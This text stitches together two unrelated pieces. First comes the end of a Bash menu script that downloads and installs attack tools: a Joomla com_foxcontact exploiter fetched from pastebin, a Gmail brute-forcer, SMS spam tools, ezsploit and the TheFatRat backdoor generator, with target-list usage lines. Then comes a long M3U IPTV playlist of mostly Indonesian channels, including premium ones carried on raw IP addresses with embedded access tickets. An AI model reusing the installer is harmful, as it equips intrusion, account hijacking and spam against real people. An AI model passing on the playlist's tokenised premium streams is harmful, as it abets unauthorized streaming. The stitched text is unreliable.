1 echo -e $red" Usage: php com_fabrik.php target.txt " fi if [ $act = 48 ] || [ $act = 48 ] then clear echo -e $green" installing com foxcontact exploiter " sleep 1 apt-get update && apt-get upgrade apt-get install wget apt-get install php wget https://pastebin.com/raw/EAtSir5V -O com_foxcontact.php sleep 1 echo -e $red" Usage: php com_foxcontact.php target.txt " fi if [ $act = 49 ] || [ $act = 49 ] then clear echo -e $green" installing gmail brute force " sleep 1 apt-get update && apt-get upgrade apt-get install git git clone https://github.com/JamesAndresCM/Brute_force_gmail sleep 1 echo -e $red" Usage: python2.7 brute_force_gmail.py example@gmail.com PATH_TO_DICTIONARY " fi if [ $act = 50 ] || [ $act = 50 ] then clear echo -e $green" installing ezsploit " sleep 1 apt-get update && apt-get upgrade apt-get install git git clone https://github.com/rand0m1ze/ezsploit sleep 1 echo -e $red" Done Install cuk " fi if [ $act = 51 ] || [ $act = 51 ] then clear echo -e $green" installing spammer grab " sleep 1 apt-get update && apt-get upgrade apt-get install git apt-get install python2 pip install requests git clone https://github.com/p4kl0nc4t/Spammer-Grab/ sleep 1 echo -e $red" Done Install cuk " fi if [ $act = 52 ] || [ $act = 52 ] then clear echo -e $green" installing spammer toko pedia " sleep 1 apt-get update && apt-get upgrade apt-get install git apt-get install unzip apt-get install php git clone https://github.com/mrcakil/spam cd spam unzip toko-pedia.zip sleep 1 echo -e $red" Done Install cuk " fi if [ $act = 53 ] || [ $act = 53 ] then clear echo -e $green" installing TheFatRat " sleep 1 apt-get update && apt-get upgrade apt-get install git git clone https://github.com/Screetsec/TheFatRat.git cd TheFatRat chmod +x setup.sh && ./setup.sh sleep 1 echo -e $red" Done Install cuk " fi if [ $act = 54 ] || [ $act = 54 ] then clear echo -e $green" installing IPGeolocation " sleep 1 apt-get update && apt-get upgrade apt-get install git apt install python2 git clone https://github.com/maldevel/IPGeolocation.git cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt sleep 1 echo -e $red" pun Install cuk " fi if [ $act = 55 ] || [ $act = 55 ] then echo -e $green" pesan terakhir " sleep 1 echo -e $green" dadi wong jowo " sleep 1 echo -e $green" kudu jawani " sleep 1 echo -e $green" Please Wait.... " sleep 1 echo -e $green" contact : mr.60-n3z dark line.net " sleep 1 echo -e $red" web : https://clannokturnal.blogspot.com " sleep 1 echo -e $red" Bye ea :* " sleep 1 exit fi
Agoengwew
#EXTM3U ########################################### INDONESIA CHANNEL ################################################## #EXTINF:-1 tvg-logo="https://i.imgur.com/L2LS8iY.png" group-title="INDONESIA", MNC TV http://id6.indostreamingtv.com/live/mnctv/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/L2LS8iY.png" group-title="INDONESIA", MNC TV (1) https://live.rctiplus.id/rctiplus/mnctv_720p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/RAAXLWk.png" group-title="INDONESIA", INDOSIAR https://anevia115.mncnow.id:443/live/eds/Indosiar/sa_hls/Indosiar-avc1_1000000=9-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/RAAXLWk.png" group-title="INDONESIA", INDOSIAR (1) http://203.153.218.28:9981/stream/channelid/261435212?ticket=A192592FCB24306982D91467C77D3822DE0861B2&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/JK2UPbl.png" group-title="INDONESIA", RCTI https://live.rctiplus.id/rctiplus/rcti_720p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/JK2UPbl.png" group-title="INDONESIA", RCTI (1) http://id6.indostreamingtv.com:80/live/rcti/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/XJRm3N1.png" group-title="INDONESIA", SCTV https://anevia114.mncnow.id:443/live/eds/SCTV/sa_hls/SCTV-avc1_1000000=10-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/k4XLh36.png" group-title="INDONESIA", ANTV http://203.153.218.26:9981/stream/channelid/1654354630?ticket=6640B7776404F498CBF118E4AF04C93D72BE584D&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/k4XLh36.png" group-title="INDONESIA", ANTV (1) https://anevia114.mncnow.id:443/live/eds/ANTV/sa_hls/ANTV-avc1_1000000=6-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/6iokkOz.png" group-title="INDONESIA", TRANS 7 http://203.153.218.26:9981/stream/channelid/302821177?ticket=67841DB7C784200CDA6E121CE4010B696B04CFBE&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/6iokkOz.png" group-title="INDONESIA", TRANS 7 (1) https://anevia114.mncnow.id:443/live/eds/Trans7/sa_hls/Trans7-avc1_1000000=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/GVFqTkA.png" group-title="INDONESIA", TRANS TV https://anevia114.mncnow.id:443/live/eds/TransTV/sa_hls/TransTV-avc1_1000000=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/GVFqTkA.png" group-title="INDONESIA", TRANS TV (1) http://203.153.218.26:9981/stream/channelid/611995608?ticket=53AC2D2761CB9F20600BD2F05DABFBE71E93D0BE&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/7mzjLGe.png" group-title="INDONESIA", GLOBAL TV http://id6.indostreamingtv.com/live/tv1/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7mzjLGe.png" group-title="INDONESIA", GLOBAL TV (1) https://live.rctiplus.id/rctiplus/gtv_720p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/l2cgeYi.png" group-title="INDONESIA", NET. https://anevia115.mncnow.id/live/eds/NetTV/sa_hls/NetTV-avc1_1000000=9-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/l2cgeYi.png" group-title="INDONESIA", NET. (1) http://rr2.dens.tv/s/s08/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/gxDKBJF.png" group-title="INDONESIA", METRO TV HD http://203.153.218.26:9981/stream/channelid/1360909675?ticket=28AFC6692094FABCE06A7952176323C5154F56F4&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/gxDKBJF.png" group-title="INDONESIA", METRO TV https://anevia115.mncnow.id:443/live/eds/MetroTV/sa_hls/MetroTV-avc1_1000000=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/gxDKBJF.png" group-title="INDONESIA", METRO TV (1) http://edge.metrotvnews.com:1935/live-edge/smil:metro.smil/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/uMbKFzB.png" group-title="INDONESIA", TVONE https://anevia114.mncnow.id:443/live/eds/TVOne/sa_hls/TVOne-avc1_1000000=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/uMbKFzB.png" group-title="INDONESIA", TVONE (1) http://id1.indostreamingtv.com/live/tv444/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qxIlRs7.png" group-title="INDONESIA", KOMPAS TV https://anevia115.mncnow.id:443/live/eds/KompasTV/sa_hls/KompasTV-avc1_1000000=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/XBm7Gc3.png" group-title="INDONESIA", CNN INDONESIA http://203.153.218.26:9981/stream/channelid/180919192?ticket=F26DABFDD4DCC91FCF2CE02805A8B91339F9FD92&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/XBm7Gc3.png" group-title="INDONESIA", CNN INDONESIA (1) https://live.cnnindonesia.com/livecnn/smil:cnntv.smil/chunklist_w691324912_b384000_sleng.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/UUy8bTn" group-title="INDONESIA", CNBC INDONESIA https://live.cnbcindonesia.com/livecnbc/smil:cnbctv.smil/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Ear3Tqc.png" group-title="INDONESIA", INEWS TV https://live.rctiplus.id/rctiplus/inews_720p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/rCaMpOi.png" group-title="INDONESIA", TVRI NASIONAL https://anevia115.mncnow.id:443/live/eds/PemersatuBangsa/sa_hls/PemersatuBangsa-avc1_1000000=6-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://raw.githubusercontent.com/adisyukri/test/master/1576870774-picsay.jpg" group-title="INDONESIA",VISION PRIME https://anevia114.mncnow.id:443/live/eds/VisionPrime/sa_hls/VisionPrime-avc1_1000000=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YzK2l8m.png" group-title="INDONESIA", RAJAWALI TV http://rr2.dens.tv/s/s12/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YzK2l8m.png" group-title="INDONESIA", RAJAWALI TV (1) http://45.126.83.51:80/qwr9ew/s/s12/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/sz4Fz2u.png" group-title="INDONESIA", BERITA SATU NEWS https://anevia115.mncnow.id:443/live/eds/BeritaSatu/sa_hls/BeritaSatu-avc1_1000000=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/sz4Fz2u.png" group-title="INDONESIA", BERITA SATU NEWS (1) http://edge.linknetott.swiftserve.com/live/BsNew/amlst:bsnew/chunklist_b1128000.m3u8 #EXTINF:-1 tvg-logo="" group-title="INDONESIA", BERITA SATU WORLD HD http://203.153.218.26:9981/stream/channelid/885612247?ticket=A19C514A9C15977896E27C283AA6BC858B39C383&profile=pass #EXTINF:-1 tvg-logo="" group-title="INDONESIA", BERITA SATU WORLD HD (2) http://edge.linknetott.swiftserve.com/live/BsNew/amlst:bsworld/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jLTCWHP.png" group-title="INDONESIA", JAKARTA GLOBE NEWS http://edge.linknetott.swiftserve.com/live/BsNew/amlst:bsenglish/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/h4u6TMV.jpg" group-title="INDONESIA", INDONESIAN CHANNEL http://202.93.133.3:1935/svr2/tic.com.stream_720p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://raw.githubusercontent.com/adisyukri/test/master/1576870774-picsay.jpg" group-title="INDONESIA", JAWAPOS TV https://livetvhooq.akamaized.net:443/448282ebe21e4ddaa20ffac3f5725086/ap-southeast-1/5493668622001/profile_2/chunklist.m3u8?hdnts=st=1573600053~exp=9007200828341044~acl=/448282ebe21e4ddaa20ffac3f5725086/*/profile_2/chunklist.m3u8*~hmac=34668c3a5d65ee732b03c74c8c5fe7f2bd27db8a18a14541660649e8fae2dfc4 #EXTINF:-1 tvg-logo="https://raw.githubusercontent.com/adisyukri/test/master/1576870774-picsay.jpg" group-title="INDONESIA", JTV SURABAYA https://livetvhooq.akamaized.net/ae74dfdacfc1474ebacda1990c3dc338/ap-southeast-1/5493668622001/profile_0/chunklist.m3u8?hdnts=st=1578737355~exp=9007200833478346~acl=/ae74dfdacfc1474ebacda1990c3dc338/*/profile_0/chunklist.m3u8*~hmac=38fffe01dee4cdd681554c4a989a37ce79cb84f3d782a9ba5dd8997ddf403d67&hdnts=st=1578737356~exp=1578737476~acl=/*~id=69e868e0-65de-48a7-a997-65e76560ba94~data=36.75.70.213~hmac=8a97806bfb9c8ccb8bb2e6af1a63ffde0cedf4d14618ca0d3e7c8cd80fd10c6f #EXTINF:-1 tvg-logo="https://i.imgur.com/6LGy9aA.png" group-title="INDONESIA", RODJA TV http://vids.rodja.tv:1935/live/rodja/playlist.m3u8 #EXTINF:-1 tvg-logo="" group-title="INDONESIA",MUSLIM TV https://anevia114.mncnow.id:443/live/eds/MNCMuslim/sa_hls/MNCMuslim-avc1_1000000=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/A6oxELS.png" group-title="INDONESIA", ASHIIL TV http://119.82.232.89:1935/ashiiltv/live2/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/U0eKIMM.png" group-title="INDONESIA", MADANI TV http://stream.asianastream.com:1935/live/ngrp:madanitv_all/playlist.m3u8 #EXTINF:-1 tvg-logo="" group-title="INDONESIA", TAHFIDZ TV http://119.235.249.58:1935/tahfidztv/live/chunk.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/VRlAcoA.png" group-title="INDONESIA", AHSAN TV http://119.82.224.75:1935/live/ahsantv/chunk.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/hbnyodH.png" group-title="INDONESIA", TV9 NUSANTARA http://wowza60.indostreamserver.com:1935/tv9/live/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AOBzMH3.png" group-title="INDONESIA", ADI TV http://aditv.onlivestreaming.net/aditv/livestream/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/IgetlBX.png" group-title="INDONESIA", MNC SHOP http://202.80.222.130/000001/2/ch16061710145075159643/index.m3u8?virtualDomain=000001.live_hls.zte.com #EXTINF:-1 tvg-logo="https://i.imgur.com/kt7Sn1H.png" group-title="INDONESIA", FOODIE http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:foodiee/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/9wKyMDT.png" group-title="INDONESIA", ELSHINTA TV http://rr2.dens.tv/s/s10/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/0jVGDf3.png" group-title="INDONESIA", BALI TV http://210.210.155.35/x6bnqe/s/s82/S4/mnf.m3u8 #EXTINF:-1 tvg-logo="" group-title="INDONESIA", CAHAYA TV http://103.23.201.170:1935/live/livestream/chunk.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/oCPldm1.png" group-title="INDONESIA", TVKU http://103.30.1.14:8080/hls/live.m3u8 #EXTINF:-1 tvg-logo="" group-title="INDONESIA",USEE PHOTO https://livetvhooq.akamaized.net/c37364587aeb4050bd51a0b8068e976f/eu-central-1/5493668622001/profile_1/chunklist.m3u8?hdnts=st=1572048772~exp=9007200826789763~acl=/c37364587aeb4050bd51a0b8068e976f/*/profile_1/chunklist.m3u8*~hmac=db830a2d176a5620aa93f8a722a43796aba20e38f757a257a6874826bc3f7308 #EXTINF:-1 tvg-logo="" group-title="INDONESIA",USEE PRIME https://livetvhooq.akamaized.net/8eb1108c494240ef94c5c8ae7e572c29/eu-central-1/5493668622001/profile_1/chunklist.m3u8?hdnts=st=1572048811~exp=9007200826789802~acl=/8eb1108c494240ef94c5c8ae7e572c29/*/profile_1/chunklist.m3u8*~hmac=c7b056ffebcb94ad6c429bd0685d5d6fed40b7bad0dcfca6e48df944d45a43d4 #EXTINF:-1 tvg-logo="" group-title="INDONESIA",ID KU https://livetvhooq.akamaized.net/8d310f35fdf349daab8e0610161060f1/eu-central-1/5493668622001/profile_1/chunklist.m3u8?hdnts=st=1572048854~exp=9007200826789845~acl=/8d310f35fdf349daab8e0610161060f1/*/profile_1/chunklist.m3u8*~hmac=eb90616605948f62a0c512ed38cdd06b0f5cf7bce0fee578df3441455b550da6 #EXTINF:-1 tvg-logo="" group-title="INDONESIA",RUANG TERAMPIL https://livetvhooq.akamaized.net/b1b6d552c80f4ef78bd4c10bfb32268d/eu-central-1/5493668622001/profile_1/chunklist.m3u8?hdnts=st=1572048870~exp=9007200826789861~acl=/b1b6d552c80f4ef78bd4c10bfb32268d/*/profile_1/chunklist.m3u8*~hmac=d953442254a991bd90234bddbdec85c2ebd07648d38983e23e541e31e7993cc9 ################################################ NINMEDIA ################################################ #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",KITANESIA http://stream1.ninmedia.tv/kitanesia/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",MALEO http://stream1.ninmedia.tv/maleo/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",INSPIRA TV http://stream1.ninmedia.tv/inspiratv/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",BMW TV http://stream1.ninmedia.tv/bmwtv/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",TABALONG TV http://stream1.ninmedia.tv/tabalongtv/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",AREK TV SURABAYA http://stream2.ninmedia.tv/arektv/arek_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",RUMAH TV http://stream2.ninmedia.tv/rumahtv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",TV DESA http://stream1.ninmedia.tv/tvdesa/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",RCTV http://stream1.ninmedia.tv/rctv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",JAMBI TV http://stream1.ninmedia.tv/jambitv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",RADAR TV LAMPUNG http://stream1.ninmedia.tv/radartvlampung/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",PAL TV http://stream1.ninmedia.tv/paltv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",OSHOP http://stream1.ninmedia.tv/oshop/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",NABAWI TV http://stream2.ninmedia.tv/nabawitv/nabawitv_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",BE TV http://stream1.ninmedia.tv/betv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",RB TV http://stream1.ninmedia.tv/rbtv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",DMI TV http://stream1.ninmedia.tv/dmitv/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",SALINGSAPA http://stream1.ninmedia.tv/salingsapa/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",NU CHANNEL http://stream1.ninmedia.tv/nuchannel/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",RRI NET http://stream1.ninmedia.tv/rrinet/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",GPR TV http://stream1.ninmedia.tv/gprtv/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",MI TV http://stream2.ninmedia.tv/mitv/rtmp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",TRIBRATA TV http://stream1.ninmedia.tv/tribratatv/udp.stream_360p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://ninmedia.tv/wp-content/uploads/2019/02/cropped-Ninmedia-Edit-183x42.png" group-title="NINMEDIA",POP MUSIK http://stream1.ninmedia.tv/popmusik/udp.stream_360p/playlist.m3u8 ################################################ MOVIES CHANNEL ################################################ #EXTINF:-1 tvg-logo="https://i.imgur.com/wdUGjly.png" group-title="MOVIES - SERIES", JGO http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:jgoch/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/wdUGjly.png" group-title="MOVIES - SERIES", JGO (1) http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:jgoch/chunklist_b2288000.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/1onb5CQ.png" group-title="MOVIES - SERIES", HBO http://95.170.215.118/hls/m3u8/HBO.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/1onb5CQ.png" group-title="MOVIES - SERIES", HBO 2 http://95.170.215.118/hls/m3u8/HBO-2.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/1onb5CQ.png" group-title="MOVIES - SERIES", HBO 3 http://95.170.215.118/hls/m3u8/HBO-3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/TdU3cK4.png" group-title="MOVIES - SERIES", HBO HITS http://203.153.218.28:9981/stream/channelid/2038175895?ticket=0299B4C37DF5A2B463E83E4FFD9AD1E91BA48253&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/mvRyGWf.png" group-title="MOVIES - SERIES", HBO SIGNATURE http://203.153.218.28:9981/stream/channelid/1197019186?ticket=96AB9AD0536B1000E515E3219100C78A9625CAE3&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/xwRlC3C.png" group-title="MOVIES - SERIES", HBO FAMILY http://203.153.218.28:9981/stream/channelid/1316004766?ticket=8603609D96360D7B639AB97584FF09E1086B3284&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/f6F0DYo.png" group-title="MOVIES - SERIES", CINEMAX http://203.153.218.28:9981/stream/channelid/255605374?ticket=434549F6D027878D70C7F1F479D0C3495B16099D&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/f6F0DYo.png" group-title="MOVIES - SERIES", CINEMAX (1) https://liveanevia.mncnow.id/live/eds/CinemaxHD/sa_hls/CinemaxHD-avc1_2499968=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/FAqwf1j.png" group-title="MOVIES - SERIES", FOX HD ID https://liveanevia.mncnow.id/live/eds/FoxChannel/sa_hls/FoxChannel-avc1_2499968=11-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Zf1YW1l.png" group-title="MOVIES - SERIES", FOX MOVIES http://203.153.218.28:9981/stream/channelid/756717990?ticket=D9CDD7DB18E80023C22954FE693F71DB745D5CE7&profile=pass #EXTINF:-1 tvg-logo="https://i.imgur.com/oJirPnY.png" group-title="MOVIES - SERIES", FOX FAMILY MOVIES http://203.153.218.28:9981/stream/channelid/1949182550?ticket=39C98E4111054C7CF2A242280A406A438219FEA8&profile=pass #EXTINF:-1 tvg-logo="" group-title="MOVIES - SERIES",FX https://liveanevia.mncnow.id/live/eds/FX/sa_hls/FX-avc1_2499968=10-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/E7sygNm.png" group-title="MOVIES - SERIES", AXN http://rr.dens.tv/h/h141/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/E7sygNm.png" group-title="MOVIES - SERIES", AXN (1) http://hvod.imirun.net:8080/AXN-HD/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="MOVIES - SERIES",WARNER TV https://liveanevia.mncnow.id/live/eds/WarnerTV/sa_hls/WarnerTV-avc1_1000000=16-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="" group-title="MOVIES - SERIES",USA http://cdnak19.cast4u.info/channels/4/10804.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="" group-title="MOVIES - SERIES",CRIME INVESTIGATION https://liveanevia.mncnow.id/live/eds/CrimeInvestigation/sa_hls/CrimeInvestigation-avc1_1000000=10-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="" group-title="MOVIES - SERIES",FOX CRIME https://liveanevia.mncnow.id/live/eds/FoxCrime/sa_hls/FoxCrime-avc1_2499968=10-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/EXhCprS.png" group-title="MOVIES - SERIES", CELESTIAL MOVIES ID http://45.126.83.51:80/qwr9ew/s/s33/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/EXhCprS.png" group-title="MOVIES - SERIES", CELESTIAL MOVIES ID (1) http://rr2.dens.tv/s/s33/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/EXhCprS.png" group-title="MOVIES - SERIES", CELESTIAL MOVIES ID (2) https://anevia115.mncnow.id:443/live/eds/CelestialMovie/sa_hls/CelestialMovie-avc1_1000000=7-mp4a_66000_eng=2.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ASQjlFW.png" group-title="MOVIES - SERIES", TVN https://liveanevia.mncnow.id/live/eds/tvN/sa_hls/tvN-avc1_2499968=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ASQjlFW.png" group-title="MOVIES - SERIES", TVN MOVIES https://liveanevia.mncnow.id/live/eds/tvNMovies/sa_hls/tvNMovies-avc1_2499968=10-mp4a_66000_eng=2.m3u8 #EXTINF:-1 tvg-logo="" group-title="MOVIES - SERIES", Waku Waku Japan https://liveanevia.mncnow.id/live/eds/WakuWakuJapan/sa_hls/WakuWakuJapan-avc1_2499968=11-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Vsa0rWm.png" group-title="MOVIES - SERIES", KIX ID https://liveanevia.mncnow.id/live/eds/KIX/sa_hls/KIX-avc1_1000000=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/K4VRZKU.png" group-title="MOVIES - SERIES", HITS https://liveanevia.mncnow.id/live/eds/HITS/sa_hls/HITS-avc1_2499968=11-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/K4VRZKU.png" group-title="MOVIES - SERIES", HITS (1) https://liveanevia.mncnow.id/live/eds/HitsMovies/sa_hls/HitsMovies-avc1_2499968=12-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ClSwlqI.png" group-title="MOVIES - SERIES", CINEMA WORLD ID https://liveanevia.mncnow.id/live/eds/CinemaWorld/sa_hls/CinemaWorld-avc1_2499968=13-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/MlOHhWl.png" group-title="MOVIES - SERIES", THRIL https://liveanevia.mncnow.id/live/eds/Thrill/sa_hls/Thrill-avc1_1000000=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jFbo1l8.png" group-title="MOVIES - SERIES", ZEE BIOSKOP https://anevia115.mncnow.id:443/live/eds/MovieChannel/sa_hls/MovieChannel-avc1_1000000=7-mp4a_66900_eng=2.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/jFbo1l8.png" group-title="MOVIES - SERIES", ZEE BIOSKOP (1) https://livetvhooq.akamaized.net/ed9f674616594d96bbe00f93ab8d7672/eu-central-1/5493668622001/profile_3/chunklist.m3u8?hdnts=st=1576169705~exp=9007200830910696~acl=/ed9f674616594d96bbe00f93ab8d7672/*/profile_3/chunklist.m3u8*~hmac=c464efdac528cb4b0e4c27ada7a0480ce7bce6030e39ab45e36833b4bc9b9fbd #EXTINF:-1 tvg-logo="https://i.imgur.com/rGvQhQZ.png" group-title="MOVIES - SERIES", RAI MOVIE HD ITA http://b2everyrai-lh.akamaihd.net/i/raimovie_1@67348/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/UMYCo8x.png" group-title="MOVIES - SERIES", WAU HD RUS http://nn2.joj.sk/hls/wau-540.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/G83S7dd.png" group-title="MOVIES - SERIES", WOWOW HD JPN http://192.240.127.34:1935/live/cs27.stream/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pUmiY0Z.png" group-title="MOVIES - SERIES", MOVIES 1 http://aldirect.hls.huya.com/huyalive/29169025-2686219962-11537226886652362752-2710080226-10057-A-0-1_1200.m3u8 #EXTINF:-1 